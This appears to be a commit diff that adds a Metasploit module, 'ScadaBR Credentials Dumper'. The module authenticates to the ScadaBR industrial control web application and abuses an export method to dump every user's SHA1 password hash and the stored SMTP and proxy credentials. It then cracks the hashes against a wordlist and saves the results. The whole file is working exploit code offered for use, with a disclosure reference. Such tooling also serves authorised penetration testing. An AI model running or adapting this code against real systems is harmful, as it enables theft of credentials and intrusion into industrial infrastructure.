|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Auxiliary::Report |
| 8 | + include Msf::Exploit::Remote::HttpClient |
| 9 | + |
| 10 | + def initialize(info = {}) |
| 11 | + super(update_info(info, |
| 12 | + 'Name' => 'ScadaBR Credentials Dumper', |
| 13 | + 'Description' => %q{ |
| 14 | + This module retrieves credentials from ScadaBR, including |
| 15 | + service credentials and unsalted SHA1 password hashes for |
| 16 | + all users, by invoking the 'EmportDwr.createExportData' DWR |
| 17 | + method of Mango M2M which is exposed to all authenticated |
| 18 | + users regardless of privilege level. |
| 19 | +
|
| 20 | + This module has been tested successfully with ScadaBR |
| 21 | + versions 1.0 CE and 0.9 on Windows and Ubuntu systems. |
| 22 | + }, |
| 23 | + 'Author' => 'Brendan Coles <bcoles[at]gmail.com>', |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'], |
| 26 | + 'Targets' => [[ 'Automatic', {} ]], |
| 27 | + 'DisclosureDate' => 'May 28 2017')) |
| 28 | + register_options( |
| 29 | + [ |
| 30 | + Opt::RPORT(8080), |
| 31 | + OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]), |
| 32 | + OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]), |
| 33 | + OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]), |
| 34 | + OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes', |
| 35 | + File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ]) |
| 36 | + ]) |
| 37 | + end |
| 38 | + |
| 39 | + def login(user, pass) |
| 40 | + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'login.htm'), |
| 41 | + 'method' => 'POST', |
| 42 | + 'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}", |
| 43 | + 'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'), |
| 44 | + 'password' => Rex::Text.uri_encode(pass, 'hex-normal') } |
| 45 | + |
| 46 | + unless res |
| 47 | + fail_with Failure::Unreachable, "#{peer} Connection failed" |
| 48 | + end |
| 49 | + |
| 50 | + if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/ |
| 51 | + @cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first |
| 52 | + print_good "#{peer} Authenticated successfully as '#{user}'" |
| 53 | + else |
| 54 | + fail_with Failure::NoAccess, "#{peer} Authentication failed" |
| 55 | + end |
| 56 | + end |
| 57 | + |
| 58 | + def export_data |
| 59 | + params = 'callCount=1', |
| 60 | + "page=#{target_uri.path}/emport.shtm", |
| 61 | + "httpSessionId=#{@cookie}", |
| 62 | + "scriptSessionId=#{Rex::Text.rand_text_hex(32)}", |
| 63 | + 'c0-scriptName=EmportDwr', |
| 64 | + 'c0-methodName=createExportData', |
| 65 | + 'c0-id=0', |
| 66 | + 'c0-param0=string:3', |
| 67 | + 'c0-param1=boolean:true', |
| 68 | + 'c0-param2=boolean:true', |
| 69 | + 'c0-param3=boolean:true', |
| 70 | + 'c0-param4=boolean:true', |
| 71 | + 'c0-param5=boolean:true', |
| 72 | + 'c0-param6=boolean:true', |
| 73 | + 'c0-param7=boolean:true', |
| 74 | + 'c0-param8=boolean:true', |
| 75 | + 'c0-param9=boolean:true', |
| 76 | + 'c0-param10=boolean:true', |
| 77 | + 'c0-param11=boolean:true', |
| 78 | + 'c0-param12=boolean:true', |
| 79 | + 'c0-param13=boolean:true', |
| 80 | + 'c0-param14=boolean:true', |
| 81 | + 'c0-param15=boolean:true', |
| 82 | + 'c0-param16=string:100', |
| 83 | + 'c0-param17=boolean:true', |
| 84 | + 'batchId=1' |
| 85 | + |
| 86 | + uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr' |
| 87 | + res = send_request_cgi 'uri' => uri, |
| 88 | + 'method' => 'POST', |
| 89 | + 'cookie' => "JSESSIONID=#{@cookie}", |
| 90 | + 'ctype' => 'text/plain', |
| 91 | + 'data' => params.join("\n") |
| 92 | + |
| 93 | + unless res |
| 94 | + fail_with Failure::Unreachable, "#{peer} Connection failed" |
| 95 | + end |
| 96 | + |
| 97 | + unless res.body =~ /dwr.engine._remoteHandleCallback/ |
| 98 | + fail_with Failure::UnexpectedReply, "#{peer} Export failed." |
| 99 | + end |
| 100 | + |
| 101 | + config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first |
| 102 | + print_good "#{peer} Export successful (#{config_data.length} bytes)" |
| 103 | + |
| 104 | + begin |
| 105 | + return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"')) |
| 106 | + rescue |
| 107 | + fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.") |
| 108 | + end |
| 109 | + end |
| 110 | + |
| 111 | + def load_wordlist(wordlist) |
| 112 | + return unless File.exist? wordlist |
| 113 | + File.open(wordlist, 'rb').each_line do |line| |
| 114 | + @wordlist << line.chomp |
| 115 | + end |
| 116 | + end |
| 117 | + |
| 118 | + def crack(user, hash) |
| 119 | + return user if hash.eql? Rex::Text.sha1 user |
| 120 | + pass = nil |
| 121 | + @wordlist.each do |word| |
| 122 | + if hash.eql? Rex::Text.sha1 word |
| 123 | + pass = word |
| 124 | + break |
| 125 | + end |
| 126 | + end |
| 127 | + pass |
| 128 | + end |
| 129 | + |
| 130 | + def run |
| 131 | + login datastore['USERNAME'], datastore['PASSWORD'] |
| 132 | + |
| 133 | + json = export_data |
| 134 | + |
| 135 | + service_data = { address: rhost, |
| 136 | + port: rport, |
| 137 | + service_name: (ssl ? 'https' : 'http'), |
| 138 | + protocol: 'tcp', |
| 139 | + workspace_id: myworkspace_id } |
| 140 | + |
| 141 | + columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail' |
| 142 | + user_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR User Credentials', |
| 143 | + 'Indent' => 1, |
| 144 | + 'Columns' => columns |
| 145 | + |
| 146 | + if json['users'].empty? |
| 147 | + print_error 'Found no user data' |
| 148 | + else |
| 149 | + print_good "Found #{json['users'].length} users" |
| 150 | + @wordlist = *'0'..'9', *'A'..'Z', *'a'..'z' |
| 151 | + @wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr']) |
| 152 | + load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil? |
| 153 | + end |
| 154 | + |
| 155 | + json['users'].each do |user| |
| 156 | + next if user['username'].eql?('') |
| 157 | + |
| 158 | + username = user['username'] |
| 159 | + admin = user['admin'] |
| 160 | + mail = user['email'] |
| 161 | + hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first |
| 162 | + pass = crack username, hash |
| 163 | + user_cred_table << [username, pass, hash, admin, mail] |
| 164 | + |
| 165 | + if pass |
| 166 | + print_status "Found weak credentials (#{username}:#{pass})" |
| 167 | + creds = { origin_type: :service, |
| 168 | + module_fullname: fullname, |
| 169 | + private_type: :password, |
| 170 | + private_data: pass, |
| 171 | + username: user } |
| 172 | + else |
| 173 | + creds = { origin_type: :service, |
| 174 | + module_fullname: fullname, |
| 175 | + private_type: :nonreplayable_hash, |
| 176 | + private_data: hash, |
| 177 | + username: user } |
| 178 | + end |
| 179 | + |
| 180 | + creds.merge! service_data |
| 181 | + credential_core = create_credential creds |
| 182 | + login_data = { core: credential_core, |
| 183 | + access_level: (admin ? 'Admin' : 'User'), |
| 184 | + status: Metasploit::Model::Login::Status::UNTRIED } |
| 185 | + login_data.merge! service_data |
| 186 | + create_credential_login login_data |
| 187 | + end |
| 188 | + |
| 189 | + columns = 'Service', 'Host', 'Port', 'Username', 'Password' |
| 190 | + service_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR Service Credentials', |
| 191 | + 'Indent' => 1, |
| 192 | + 'Columns' => columns |
| 193 | + |
| 194 | + system_settings = json['systemSettings'].first |
| 195 | + |
| 196 | + unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('') |
| 197 | + smtp_host = system_settings['emailSmtpHost'] |
| 198 | + smtp_port = system_settings['emailSmtpPort'] |
| 199 | + smtp_user = system_settings['emailSmtpUsername'] |
| 200 | + smtp_pass = system_settings['emailSmtpPassword'] |
| 201 | + vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}" |
| 202 | + service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass] |
| 203 | + end |
| 204 | + |
| 205 | + unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('') |
| 206 | + proxy_host = system_settings['httpClientProxyServer'] |
| 207 | + proxy_port = system_settings['httpClientProxyPort'] |
| 208 | + proxy_user = system_settings['httpClientProxyUsername'] |
| 209 | + proxy_pass = system_settings['httpClientProxyPassword'] |
| 210 | + vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}" |
| 211 | + service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass] |
| 212 | + end |
| 213 | + |
| 214 | + print_line |
| 215 | + print_line user_cred_table.to_s |
| 216 | + print_line |
| 217 | + print_line service_cred_table.to_s |
| 218 | + |
| 219 | + path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings' |
| 220 | + print_good "Config saved in: #{path}" |
| 221 | + end |
| 222 | +end |
0 commit comments